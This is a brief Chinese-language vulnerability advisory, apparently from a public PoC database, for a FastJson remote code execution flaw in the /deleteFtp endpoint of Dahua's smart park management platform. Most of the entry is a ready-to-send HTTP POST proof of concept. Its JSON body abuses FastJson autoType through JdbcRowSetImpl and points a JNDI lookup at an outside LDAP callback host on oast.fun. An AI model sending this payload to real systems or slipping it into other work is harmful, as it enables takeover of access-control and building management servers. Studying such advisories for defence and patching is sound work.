大华智慧园区综合管理平台 /deleteFtp 路径存在FastJson 远程代码执行

2023-08-18 大华智慧园区综合管理平台 PoC Public

Description

大华智慧园区综合管理平台 deleteFtp 远程代码执行漏洞

PoC

POST /CardSolution/card/accessControl/swingCardRecord/deleteFtp HTTP/1.1
Host: 
Content-Type: application/json

{"ftpUrl":{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://clmmm09r8kkedikc4900otiwibdhw1i7t.oast.fun","autoCommit":true}}}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://stack.chaitin.com/vuldb/detail/25d74af5-cae8-453b-8de5-d6e1b2d51a4c

References

Related Vulnerabilities